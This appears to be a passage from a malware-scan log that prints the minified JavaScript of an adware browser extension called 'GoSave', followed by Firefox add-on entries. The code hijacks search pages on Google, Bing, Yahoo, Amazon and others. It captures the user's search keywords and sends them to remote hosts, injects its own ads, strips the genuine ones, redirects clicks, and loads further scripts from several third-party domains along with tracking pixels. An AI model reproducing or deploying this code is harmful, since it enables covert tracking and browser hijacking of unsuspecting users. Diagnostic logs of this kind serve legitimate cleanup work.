a=this;a.sendPixels=function(a){var b;if(a instanceof Array)for(var e=0;e<a.length;e++){var f=a[e];b=new Image;b.src=f}else b=new Image,b.src=a};a.isFalse=function(a){return\"undefined\"==typeof a||0===a.length||null===a};a.cookie=new function(){var a=this;a.createCookie=function(a,c,b){if(b){var g=new Date;g.setTime(g.getTime()+864E5*b);b=\"; expires=\"+g.toGMTString()}else b=\"\";document.cookie=a+\"=\"+ c+b+\"; path=/\"};a.readCookie=function(a){a+=\"=\";for(var c=document.cookie.split(\";\"),b=0;b<c.length;b++){for(var g=c[b];\" \"==g.charAt(0);)g=g.substring(1,g.length);if(0==g.indexOf(a))return g.substring(a.length,g.length)}return null};a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};a.ajax={get:function(c,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",c,!0),this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&b(a.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(b, d,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",b,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&e(a.ajax.xhr.responseText)};d=encodeURIComponent(d);this.xhr.send(d)}};a.waitForTokens={};a.addScript=function(a,b){if(\"bing\"==b){var e=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild=e}else document.getElementsByTagName(\"head\")[0].appendChild(a)};a.waitForElement=function(c,d,e,f){var g=a.query_selector_all(c);clearTimeout(a.waitTimeout);if(25<b.waitForElementCounter)return d(null);if(\"undefined\"==typeof g||1>g.length){if(a.waitForTokens[f])return d(null);var h=arguments.callee;a.waitTimeout=setTimeout(function(){b.waitForElementCounter++;h(c,d,e,f)},e)}else{if(a.waitForTokens[f])return d(null);a.waitForTokens[f]=!0;b.waitForElementCounter=0;return d(g)}}; a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(a,b){return Math.floor(Math.random()*(b-a+1))+a};a.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=a.dhtml_prop_name(d);return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[d]?b.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};a.query_selector_all= document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=a.match(/^#([^,\\s]+)$/)||[];if(1<b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};a.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:function(a){if(a instanceof Object){var b=new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};a.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};a.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return RegExp(a)};a.throttle=function(a,b){var e=null;return function(){var f= this,g=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(f,g)},b)}};a.epoch=function(){return(new Date).getTime()};a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.version_ie_less=function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};a.isIE=function(){return\"Microsoft Internet Explorer\"== navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};a.match_url=function(b,d){for(var e=0;e<d.length;e++)if(\"string\"==typeof d[e]){var f;f=/^\\/.+\\/$/.test(d[e])?RegExp(d[e]):a.wildcard_to_regex(d[e]);if(f instanceof RegExp&&f.test(b))return!0}};a.ping=function(a){for(var d=[\"google\",\"bing\",\"yahoo\",\"youtube\"],e=0;e<d.length;e++)if(-1<location.hostname.indexOf(d[e])){var f=new Image,g=encodeURIComponent(window.self==window.top?window.self.location.href: \"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);f.src=b.pixelHost+\"?hid=3281555927321273735&eid=1120&pid=20686&prodid=186&v=\"+b.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=PL&pr=\"+d[e]+\"&host=\"+h+\"&ref=\"+g}}};var k=[\"horizontal\",\"vertical\",\"images-horizontal\",\"images-vertical\"];b.jsonpHost=function(){var a=\"s1. s1. s2. s3. s4. s5. s6.\".split(\" \");return a[b.utils.getRandomInt(0,a.length-1)]+\"\"}()+ b.baseHostname;b.projects_info={google:{hrefSelector:\".r a\",unique_search_divs:\"3\",urls:[\"www.google.*\"],src_for_keyword:[\"#gbqfq\",\"#lst-ib\",\"#sbhost\"],dr:[\"#tvcap\",\"#bottomads\",\"#tads\"],tweak:function(){b.events.flush();var a=b.utils.query_selector_all(\"#nav td\"),c=b.utils.query_selector_all(\".spell + a\")[0];if(0<a.length)for(var d=0;d<a.length;d++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[d],!0);\"undefined\"!==typeof c&&b.events.add(\"click\",function(){b.init_search_project()}, !1,c,!0)},validate:function(a){var c=this;if(-1<location.href.indexOf(\"https://www.google.com/maps\")||location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return!0;c.callback=a;c.count=0;this.check_tab=function(){var a=document.getElementById(\"hdtb_msb\")||b.utils.query_selector_all(\".tn\");if(b.utils.isFalse(a))if(c.count++,10>c.count)setTimeout(function(){c.check_tab()},1E3);else return!1;else return(b.utils.query_selector_all(\".hdtb_mitem\")[0]||b.utils.query_selector_all(\".tn > div\")[0]).className.match(/(hdtb_msel|tn-selected-mode)/)&& (b.utils.ping(\"validate2\"),c.callback()),!1};if(!c.check_tab())return!1}},yahoo:{hrefSelector:\"a[id^=link]\",unique_search_divs:\"3\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"yahoo\"],src_for_keyword:\"#yschsp\",validate:function(){b.utils.ping(\"validate2\");return!0}},bing:{hrefSelector:[\".b_algo a\",\".sb_tlst a\"],unique_search_divs:\"2\",dr:[\".sb_adsWv2\"],urls:[\"http://www.bing.com/search?*\"],src_for_keyword:[\"#sb_form_q\",\".b_searchboxForm[name='q']\"],validate:function(){b.utils.ping(\"validate2\");return!0}}, infospace:{hrefSelector:\".resultTitle\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"http://search.infospace.com/search/*\"],src_for_keyword:\"#topSearchTextBox\",validate:function(){b.utils.ping(\"validate2\");return!0}},wow:{hrefSelector:\".find\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"http://www.wow.com/search?*\"],src_for_keyword:\"#csbquery1\",validate:function(){b.utils.ping(\"validate2\");return!0}},duckduckgo:{hrefSelector:\".result__a\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"://duckduckgo.com/?q=*\"],src_for_keyword:\"#search_form_input\", validate:function(){b.utils.ping(\"validate2\");return!0}},contenko:{hrefSelector:\"#title\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"://contenko.com/#/?q=*\"],src_for_keyword:\"#searchBar input[type='text']\",validate:function(){b.utils.ping(\"validate2\");return!0}},conduit:{hrefSelector:\"a[id^=ctl00_main_organicResults]\",unique_search_divs:\"1\",urls:[\"http://search.conduit.com*\"],src_for_keyword:\"#q_top\",dr:[\"#master-1\"],validate:function(){return!0}},ask:{hrefSelector:\".ptbs  a[id^=r]\",unique_search_divs:\"1\", urls:[\"http://www.ask.com/web?q=*\",\"http://www.ask.com/web?qsrc=*\",\"http://www.ask.com/web?am=broad&q=*\"],src_for_keyword:[\"#top_qcomn\",\"#top_q_comm\"],dr:[\"#spl_img_top\"],validate:function(){return!0}},triple:{hrefSelector:\".gRsSlicetitle\",unique_search_divs:\"2\",dr:[\"#gRsTopLinks\"],urls:[\"http://search.triple-search.com/?*\",\"http://www.search.triple-search.com/?*\"],src_for_keyword:\"#q\",validate:function(){var a=b.utils.query_selector_all(\".gRsSTypeSelltr\");if(0<a.length){for(var c=0;c<a.length;c++)if(\"English\"== a[c].innerHTML)return!0;return!1}}},incredimail:{hrefSelector:\".title\",unique_search_divs:\"3\",dr:[\"#MainSponsoredLinks\"],urls:[\"http://www.search.incredimail.com/search.php?q*\",\"http://search.incredimail.com/search.php?q*\"],src_for_keyword:\"#q\",validate:function(){return-1<location.href.indexOf(\"lang=english\")?!0:!1}},gmaps:{hrefSelector:\"div[class^='ads-line'] a\",unique_search_divs:\"1\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"https://www.google.com/maps/*\"],src_for_keyword:\"#searchboxinput\", tweak:function(){var a=function(){b.remove_search();b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop=\"0px\";document.getElementById(\"reveal-cards\").style.marginTop=\"0px\"};b.events.add(\"click\",function(){a()},!1,document.getElementById(\"cards\"),!1);b.events.add(\"keyup\",function(){a()},!1,document.getElementById(\"searchbox_form\"),!1);b.events.add(\"click\",function(){a()},!1,document.getElementById(\"viewcard\"),!1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".widget-runway-pegman\")[0], !1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".gscb_a\")[0],!1);var c=function(a){a=document.querySelector(a);return getComputedStyle(a,null).height}(\".yael .cards-card\");document.querySelector(\".omnibox-cards-transformations\").style.marginTop=c;document.querySelector(\"#reveal-cards\").style.marginTop=c},validate:function(a){b.utils.isIE()||(b.num_of_items_in_one=1,a())}},amazon:{unique_search_divs:\"1\",urls:[\"http://www.amazon.com*&field-keywords=*\"],src_for_keyword:\"#twotabsearchtextbox\", validate:function(a){a()}},smartAddress:{hrefSelector:[\"li a\"],unique_search_divs:\"2\",dr:[\".peach ol\"],urls:[\"search.smartaddressbar.com/web.php?s=*\"],src_for_keyword:\"#stxt\",tweak:function(){var a=b.utils.query_selector_all(\".peach\")[0],c=b.utils.query_selector_all(\".right ul\")[0];a&&a.parentNode.removeChild(a);c&&c.parentNode.removeChild(c)},validate:function(){return!0}}};var l=function(a){if(\"string\"==typeof a){var c=a.match(/:nth-match\\(([0-9]+)\\)/);if(c&&1<c.length)return a=b.utils.query_selector_all(a.substr(0, c.index))||[],a[c[1]]||void 0;a=b.utils.query_selector_all(a)||[];return a[0]||void 0}};b.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f.addEventListener(b,d,e);g&&a.cache.push([b,d,e,f])}:window.attachEvent?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f[\"e\"+b+d]=d;f[b+d]=function(){f[\"e\"+b+d](window.event)};f.attachEvent(\"on\"+b,f[b+d]);g&&a.cache.push([b,d,e,f])}:function(){};a.remove=window.removeEventListener? function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+a,f[a+b]);f[a+b]=null;f[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var b=0;b<a.cache.length;b++)a.remove.apply(a,a.cache[b]);a.cache=[]}};b.get_insertion_element=function(a){return!a.insert||\"before\"!=a.insert&&\"after\"!=a.insert?a.element:a.element.parentNode};b.dom=new function(){this.json_to_html=function(a,c){if(\"#text\"== a.type)c=document.createTextNode(a.text);else if(\"#comment\"!=a.type){c||(c=document.createElement(a.type));if(a.attrs){for(var d in a.attrs)if(a.attrs.hasOwnProperty(d))if(\"style\"==d&&a.attrs.style instanceof Object)for(var e in a.attrs.style){var f=b.utils.dhtml_prop_name(e);try{c.style[f]=a.attrs.style[e]}catch(g){}}else c.setAttribute(d,a.attrs[d]);\"iframe\"==a.type&&(a.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder=a.attrs.frameborder),a.attrs.hasOwnProperty(\"marginwidth\")&&(c.marginWidth= a.attrs.marginwidth),a.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=a.attrs.marginheight))}if(a.children)for(d=0;d<a.children.length;d++){f=a.children[d];e=arguments.callee(f);try{c.appendChild(e)}catch(h){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"==a.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(e=b.utils.get_node_text_prop(c))c[e]=f.text}}}return c}};b.addEventClick=function(a,c){for(var d=0;d<a.length;d++)b.events.add(\"click\",function(a){a.preventDefault?a.preventDefault(): a.returnValue=!1;this.href=\"#\";location.href=c+\"&j=true\";b.events.flush();localStorage.setItem(b.prefix,b.now+b.clickInterval);return!1},!1,a[d],!0)};b.checkClickInterval=function(a){if(b.now>a)return!0};b.setClickHref=function(a,c){if(\"undefined\"!=typeof b.projects_info[c].hrefSelector){if(b.utils.getRandomInt(1,1E4)>=1E4/b.ratio)return!1;var d=b.projects_info[c].hrefSelector,e=parseInt(localStorage.getItem(b.prefix));if(\"undefined\"!=typeof d){if(d instanceof Array)for(var f=0;f<d.length;f++){var g= b.utils.query_selector_all(d[f]);if(0<g.length)break}else g=b.utils.query_selector_all(d);if(!e||b.checkClickInterval(e))b.addEventClick(g,a),b.j=!0}}};b.escape_chars_for_json=function(a){for(var b in a)\"string\"===typeof a[b]&&(a[b]=a[b].replace(/\\\"/g,'\\\\\"'));return a};b.tpl_engine=function(a,c,d){\"false\"!==d.layouts.unique&&(c=b.escape_chars_for_json(c));a=JSON.stringify(a);d=[{replace:\"title\",\"with\":c.title},{replace:\"displayUrl\",\"with\":c.displayUrl},{replace:\"description\",\"with\":c.description}, {replace:\"clickUrl\",\"with\":c.clickUrl}];for(var e=0;e<d.length;e++)a=a.replace(RegExp(\"\\\\[##\"+d[e].replace+\"##\\\\]\",\"g\"),d[e][\"with\"]);try{return\"undefined\"!==typeof c.pxl&&\"\"!==c.pxl&&b.utils.sendPixels(c.pxl),JSON.parse(a)}catch(f){}};b.get_item_json=function(a,c){var d=b.utils.clone_object(a.layouts.template);d.attrs instanceof Object||(d.attrs={});return d=b.tpl_engine(d,c,a)};b.add_jsonp_to_config=function(a,c){b.get_item_json(a)};b.remove_search=function(){var a=b.utils.query_selector_all(\".yael\"); if(0<a.length)for(var c=0;c<a.length;c++)a[c].parentNode.removeChild(a[c])};b.inject_json=function(a){\"first\"==a.insert?a.element.insertBefore(a.node,a.element.firstChild):\"before\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element):\"after\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element.nextSibling):a.element.appendChild(a.node)};b.get_ad_dom=function(a){return a.layouts instanceof Object&&a.layouts.dom instanceof Object?a.layouts.dom:!1};b.get_layout_type=function(a){if(a.layouts instanceof Object)for(var b=0;b<k.length;b++)if(-1<a.layouts.id.indexOf(k[b]))return k[b];return!1};b.create_search=function(a){a=b.get_ad_dom(a);return b.dom.json_to_html(a)};b.templates=new function(){this.container_id=0;this.add_real_links=function(a,c){b.utils.add_event(\"click\",function(b){window.open(a);b.preventDefault?b.preventDefault():b.returnValue=!1},!1,c)}};b.validate_response=function(){for(var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/)&& __yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/,\"\")};b.is_target_valid=function(a){if(0!=__yael_res.data.numberOfItems&&\"undefined\"!=typeof a.element)return a.urls instanceof Array&&!b.utils.match_url(a.element.ownerDocument.location.href,a.urls)?!1:!0};var p=null;b.get_target_element=function(a){if(a.inserts instanceof Array&&\"undefined\"==typeof a.element)for(var b=0;b<a.inserts.length;b++)if(a.element=l(a.inserts[b].selector),\"undefined\"!==typeof a.element){a.insert=a.inserts[b].at; break}};b.add_data_to_config=function(a,c){if(0==c.length)return b.unique_items_left=!1;var d=b.get_ad_dom(a);(function(a,c){c.children&&0!==c.children.length?(c=c.children[c.children.length-1],arguments.callee(a,c)):b.insert_point=c})(a,d);for(var e=0;e<b.num_of_items_in_one&&0!=c.length;e++){var f=b.get_item_json(a,c[0]);try{b.insert_point.children.push(f)}catch(g){b.insert_point=d,b.insert_point.children.push(f)}\"true\"==a.layouts.unique?b.not_unique_items.push(c.shift()):c.shift()}};b.addEventsToItems= function(){for(var a=document.querySelectorAll('a[href*=\"'+b.jsonpHost+'\"]'),c=0;c<a.length;c++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[c],!1)};b.check_if_div_in_dom=function(a,b){var d=[],e;for(e in __yael_res.config.targets){var f=__yael_res.config.targets[e];clearTimeout(p);a++;if(4<a)return;if(f.inserts instanceof Array&&\"undefined\"==typeof f.element)for(var g=0;g<f.inserts.length;g++){var h=l(f.inserts[g].selector);\"undefined\"!==typeof h&&d.push(h)}}for(e=0;e<d.length;e++)if(\"undefined\"== typeof d[e]){var k=this;p=setTimeout(function(){k.apply(k,arguments)},200)}b()};b.addExtensionName=function(a){var c=JSON.stringify(a.layouts.dom);if(!c.match(/\\[##eid##\\]/))return a;c=c.replace(/\\[##eid##\\]/g,b.eid);a.layouts.dom=JSON.parse(c);return a};b.loop_targets=function(a,c,d){if(a instanceof Object&&(b.get_target_element(a),b.is_target_valid(a)&&(\"false\"==d&&b.unique_items_left&&(c=b.not_unique_items),0!=c.length))){b.add_data_to_config(a,c);try{a=b.addExtensionName(a)}catch(e){}try{a.node= b.create_search(a)}catch(f){}\"undefined\"!=typeof a.node&&b.inject_json(a)}};b.removeSecondClick=function(){for(var a=b.utils.query_selector_all(\".yael a\"),c=0;c<a.length;c++)b.events.add(\"click\",function(a){setTimeout(function(){for(var a=b.utils.query_selector_all(\".yael a\"),c=0;c<a.length;c++){var d=a[c];d.outerHTML=d.outerHTML.replace(/href\\=/ig,\"_href=\")}},20)},!1,a[c],!0)};b.addCloseFunctionality=function(){function a(a){for(var b=a.className.split(\" \"),c=0;c<b.length;c++)if(\"yael\"===b[c])return a; if(!a.parentElement)return!1;a=a.parentElement;return arguments.callee(a)}var c=b.utils.query_selector_all(\".yael_close_btn\");if(c)for(var d=0;d<c.length;d++)b.events.add(\"click\",function(){try{var b=a(this)}catch(c){}b&&b.parentElement.removeChild(b)},!1,c[d],\"closeBtn\")};b.inject_search=function(){b.not_unique_items=[];0!=__yael_res.data.items.length&&(b.setClickHref(__yael_res.data.items[0].clickUrl,b.projects_name),b.check_if_div_in_dom(0,function(){for(var a in __yael_res.config.targets){var c= __yael_res.config.targets[a];b.loop_targets(c,__yael_res.data.items,c.layouts.unique)}\"function\"==typeof b.projects_info[b.projects_name].tweak&&b.projects_info[b.projects_name].tweak();b.j||b.removeSecondClick();b.addCloseFunctionality();b.utils.flushWaitForTokens()}))};b.init_search_project=function(){b.waitForElementCounter=0;\"undefined\"!=typeof __yael&&b.remove_search();for(var a in b.projects_info)if(b.utils.match_url(location.href,b.projects_info[a].urls)){var c=b.projects_info[a];b.projects_name= a;if(-1<b.initThrottle.indexOf(a))c.validate(function(){c.name=b.projects_name;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})});else{if(!c.validate())return;c.name=b.projects_name;b.projects_name=a;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})}}return!1};b.get_keyword=function(a,c){var d=a.src_for_keyword,e=function(d){b.inputElement=d[0];b.keyword=b.inputElement.value;if(2>b.keyword.length)return b.utils.flushWaitForTokens(),!1;if(b.inputElement&&\"input\"==b.inputElement.tagName.toLowerCase()&& \"\"!==b.keyword)return c(b.keyword,a.name)};if(d instanceof Array)for(var f=0;f<d.length;f++)b.utils.waitForElement(d[f],function(a){a&&e(a)},100,\"keyword\");else b.utils.waitForElement(d,function(a){a&&e(a)},100,\"keyword\")};b.remove_se_handler=function(a){var c=b.projects_info[a].dr;if(c instanceof Array)if(\"bing\"==a)for(c=b.utils.query_selector_all(c[0]),a=0;a<c.length;a++)b.remove_se(c[a]);else for(a=0;a<c.length;a++){var d=l(c[a]);b.remove_se(d)}};b.remove_se=function(a){a&&a.parentElement.removeChild(a)}; b.jsonp_request=function(a,c){var d=b.num_of_items_in_one*parseInt(b.projects_info[c].unique_search_divs);window.__yael_cb=function(a){window.__yael_res=a;\"0\"==__yael_res.data.numberOfItems?b.utils.flushWaitForTokens():(0==__yael.utils.getRandomInt(0,10)&&b.remove_se_handler(c),__yael.inject_search())};\"undefined\"==typeof window.__yael&&(window.__yael=b);d=b.jsonpHost+\"/?v=\"+b.version+\"&p=\"+c+\"&keyword=\"+a+\"&numItems=\"+d+\"&hid=3281555927321273735&eid=1120&pid=20686&prid=186\"; \"undefined\"!=typeof specificFeeds&&specificFeeds instanceof Array&&(d+=\"&_feeds=\"+specificFeeds.join(\",\"));if(b.utils.isIE()){if(document.getElementById(\"__yael_script\")){var e=document.getElementById(\"__yael_script\");e.parentNode.removeChild(e)}e=document.createElement(\"script\");e.id=\"__yael_script\";e.src=\"//\"+d+\"&domvar=__yael_cb\";e.type=\"text/javascript\";b.utils.addScript(e,c)}else b.utils.ajax.get(\"//\"+d,function(a){window.__yael_res=JSON.parse(a);\"0\"==__yael_res.data.numberOfItems?b.utils.flushWaitForTokens(): (0==__yael.utils.getRandomInt(0,10)&&__yael.remove_se_handler(c),__yael.inject_search())})};\"undefined\"==typeof __yael&&b.init_search_project();-1<b.initThrottle.indexOf(b.projects_name)&&b.events.add(\"keyup\",b.utils.throttle(b.init_search_project,3E3),!1,b.inputElement,!1)}});;new function(){if(null==document.getElementById(\"id_arrrrppdjafklbvnn4450fm\")&&window.self==window.top&&\"http:\"==window.self.location.protocol){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wp.js?subid=1120_20686&hid=3281555927321273735&bname=GoSave\";a.setAttribute(\"id\",\"id_arrrrppdjafklbvnn4450fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};;try{new function(){if(null==document.getElementById(\"id_arrrrppdjafklbvnn4440fm\")&&\"http:\"==location.protocol&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wpb.js?subid=1120_20686&hid=3281555927321273735&bname=GoSave\";a.setAttribute(\"id\",\"id_arrrrppdjafklbvnn4440fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};;try{new function(){if(null==document.getElementById(\"id_ad5cbe0b719874f1\")&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"http://istatic.datafastguru.info/fo/min/wpgb.js?bname=GoSave&subid=1120_20686\";a.setAttribute(\"id\",\"id_ad5cbe0b719874f1\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};;try{new function(){if(null==document.getElementById(\"id_a02b170eff6bb769\")&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//d1qqddufal4d58.cloudfront.net/scripts/contextualjs/v2/ctxjs.js?aff_id=1151&subaff_id=1120_20686\";a.setAttribute(\"id\",\"id_a02b170eff6bb769\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//api.jollywallet.com/affiliate/client?dist=87&sub=prm&name=GoSave\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;(function(){try{if(!document.getElementById(\"asdasdfdhggfhjhl45646\")&&window.top==window.self&&(!window.name.match(/^(a652c|ld893)_/))){var a=document.createElement(\"script\");a.id=\"asdasdfdhggfhjhl45646_rvz\";a.type=\"text/javascript\";a.textContent=\"window._rvz1017x1005 = {publisher_subid: '1120_20686',addonname: 'GoSave'};\";document.getElementsByTagName(\"head\")[0].appendChild(a);var b=document.createElement(\"script\");b.src=\"//asrv-a.akamaihd.net/sd/1017/1005.js\";b.setAttribute(\"id\",\"asdasdfdhggfhjhl45646\");document.getElementsByTagName(\"head\")[0].appendChild(b)}}catch(c){}})();;(function(){if(!document.getElementById(\"qwejkhjkshdfs_4\")&&window.self==window.top){var a=document.createElement(\"script\");a.id=\"inj_grazit_script_starter\";a.type=\"text/javascript\";a.src=\"//ext1.engageya.com/widget/inject_spark/inj_sprk_starter.js?pid=LTEsMTQyNTU5LDk0NjA4LDU0OTcx&subid=1120_20686&appname=GoSave\";a.setAttribute(\"id\",\"qwejkhjkshdfs_4\");document.getElementsByTagName(\"head\")[0].appendChild(a)}})();})();(function(){new function(){var c=this;c.prefix=\"hggasdgjhsagd\";c.pixelHostname=\"http://direct_pop.installerdatauk.info/\";c.token=\"px.pluginh\";c.pxlData=\"__pdt\";document.getElementById(\"__hggasdgjhsagd_once\")||(c.Utils=new function(){var a=this;a.l=new function(){var b=this;b.xlat=\"abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/\";b.encode=function(e){e=b._utf8_encode(e);for(var d=\"\",m=0;m<e.length;){var f=e.charCodeAt(m++),a=e.charCodeAt(m++),c=e.charCodeAt(m++),n=f>>2,f=(f&3)<<4|a>>4,l=(a&15)<< 2 | c>>6,h=c&63;isNaN(a)?l=h=64:isNaN(c)&&(h=64);d=d+b.xlat.charAt(n)+b.xlat.charAt(f)+(64==l?\"=\":b.xlat.charAt(l))+(64==h?\"=\":b.xlat.charAt(h))}return d};b._utf8_encode=function(e){if(e&&e.length){for(var d=\"\",b=0;b<e.length;b++){var a=e.charCodeAt(b);128>a?d+=String.fromCharCode(a):(127<a&&2048>a?d+=String.fromCharCode(a>>6|192):(d+=String.fromCharCode(a>>12|224),d+=String.fromCharCode(a>>6&63|128)),d+=String.fromCharCode(a&63|128))}return d}return e};b.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g, \"\");for(var d=\"\",b=0;b<a.length;){var c=this.xlat.indexOf(a.charAt(b++)),k=this.xlat.indexOf(a.charAt(b++)),g=this.xlat.indexOf(a.charAt(b++)),n=this.xlat.indexOf(a.charAt(b++)),l=(k&15)<<4|g>>2,h=(g&3)<<6|n,d=d+String.fromCharCode(c<<2|k>>4);64!=g&&0<l&&(d+=String.fromCharCode(l));64!=n&&0<h&&(d+=String.fromCharCode(h))}return this._utf8_decode(d)};b._utf8_decode=function(a){for(var b=\"\",c=0;c<a.length;){var f=a.charCodeAt(c);if(128>f)b+=String.fromCharCode(f),c++;else if(191<f&&224>f)var k=a.charCodeAt(c+ 1),b=b+String.fromCharCode((f&31)<<6|k&63),c=c+2;else var k=a.charCodeAt(c+1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((f&15)<<12|(k&63)<<6|g&63),c=c+3}return b}};a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.getParams=function(){var b=location.href.split(\"__pdt\");b.length&&(b=a.l.decode(b[1]));return function(a){var b= {};a.replace(/([^?=&]+)(=([^&]*))?/g,function(a,c,e,g){b[c]=decodeURIComponent(g)});return b}(b.replace(/^.*\\?/,\"\"))};a.getHostname=function(a){var c=document.createElement(\"a\");c.href=a;return c.hostname}},function(){var a=document.createElement(\"div\");a.id=\"__hggasdgjhsagd_once\";a.setAttribute(\"style\",\"display:none;\");var b=document.getElementsByTagName(\"body\")[0];b&&b.appendChild(a)}(),c.pixel=function(){var a=c.Utils.getParams();if(a&&a.cid){var b=c.pixelHostname+\"?\",e=a.sh||\"\",d=a.cid||\"\",m= a.tid||\"\",f=a.adtid||\"\",k=a.pid||\"\",g=a.cc||\"\",n=a.eid||\"\",l=a.hid||\"\",h=a.version?a.version:\"1\",a=a.tid||\"\",q=c.Utils.getHostname(location.href),e={pid:k,cc:g,eid:n,hid:l,v:h,ch:\"0\",cid:d,tid:a,adtid:m,smid:f,pbid:\"0\",oh:encodeURIComponent(q),sh:encodeURIComponent(e)},p;for(p in e)b+=p+\"=\"+e[p]+\"&\";b=b.slice(0,-1);(new Image).src=b}},-1<location.href.indexOf(c.token)&&-1<location.href.indexOf(c.pxlData)&&c.pixel(),c.Utils.msie&&8>c.Utils.msie||\"undefined\"==typeof window[c.prefix]&&(window[c.prefix]= c))};})();");
FF - prefs.js..extensions.enabledAddons: %7B53ecb410-cb6c-474d-8ce2-8f9e2c15a4a7%7D:0.1
FF - prefs.js..extensions.enabledAddons: %7Bc60870f2-8f6e-46c4-b1de-a1d328298cb8%7D:1.0.1
FF - prefs.js..extensions.enabledAddons: adblockpopups%40jessehakanen.net:0.9.2
FF - prefs.js..extensions.enabledAddons: 9d2db1ce83264e61a7ee63d4f%40f932995ed00643899218cf824d695.com:0.95.60
FF - prefs.js..extensions.enabledAddons: %7B9015bae7-cdbb-4473-a5d0-ecfa559b2ca5%7D:1.0.1
FF - prefs.js..extensions.enabledAddons: %7BE97DD420-24D8-226E-EB83-EBBC0A6BFEFF%7D:1.182
